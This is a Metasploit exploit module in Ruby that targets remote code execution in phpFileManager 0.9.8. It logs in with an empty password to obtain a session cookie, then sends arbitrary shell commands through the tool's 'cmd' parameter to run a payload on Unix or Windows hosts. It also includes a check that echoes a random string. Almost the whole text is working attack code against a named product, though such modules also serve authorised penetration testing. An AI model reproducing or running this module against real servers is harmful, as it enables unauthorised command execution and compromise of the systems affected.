phpFileManager 0.9.8 – Remote Code Execution (Metasploit)
## # This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' class Metasploit3 < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::HttpClient def initialize(info={}) super(update_info(info, 'Name' => 'phpFileManager 0.9.8 Remote Code Execution', 'Description' => %q{ This module exploits a remote code execution vulnerability in phpFileManager 0.9.8 which is a filesystem management tool on a single file. }, 'License' => MSF_LICENSE, 'Author' => [ 'hyp3rlinx', # initial discovery 'Jay Turla' # msf ], 'References' => [ [ 'EDB', '37709' ], [ 'URL', 'http://phpfm.sourceforge.net/' ] # Official Website ], 'Privileged' => false, 'Payload' => { 'Space' => 2000, 'DisableNops' => true, 'Compat' => { 'PayloadType' => 'cmd' } }, 'Platform' => %w{ unix win }, 'Arch' => ARCH_CMD, 'Targets' => [ ['phpFileManager / Unix', { 'Platform' => 'unix' } ], ['phpFileManager / Windows', { 'Platform' => 'win' } ] ], 'DisclosureDate' => 'Aug 28 2015', 'DefaultTarget' => 0)) register_options( [ OptString.new('TARGETURI', [true, 'The path of phpFileManager', '/phpFileManager-0.9.8/index.php']), ],self.class) end def check txt = Rex::Text.rand_text_alpha(8) res = http_send_command("echo #{txt}") if res && res.body =~ /#{txt}/ return Exploit::CheckCode::Vulnerable else return Exploit::CheckCode::Safe end end def push uri = normalize_uri(target_uri.path) # To push the Enter button res = send_request_cgi({ 'method' => 'POST', 'uri' => uri, 'vars_post' => { 'frame' => '3', 'pass' => '' # yep this should be empty } }) if res.nil? vprint_error("#{peer} - Connection timed out") fail_with(Failure::Unknown, "Failed to trigger the Enter button") end if res && res.headers && res.code == 302 print_good("#{peer} - Logged in to the file manager") cookie = res.get_cookies cookie else fail_with(Failure::Unknown, "#{peer} - Error entering the file manager") end end def http_send_command(cmd) cookie = push res = send_request_cgi({ 'method' => 'GET', 'uri' => normalize_uri(target_uri.path), 'cookie' => cookie, 'vars_get' => { 'action' => '6', 'cmd' => cmd } }) unless res && res.code == 200 fail_with(Failure::Unknown, "Failed to execute the command.") end res end def exploit http_send_command(payload.encoded) end end |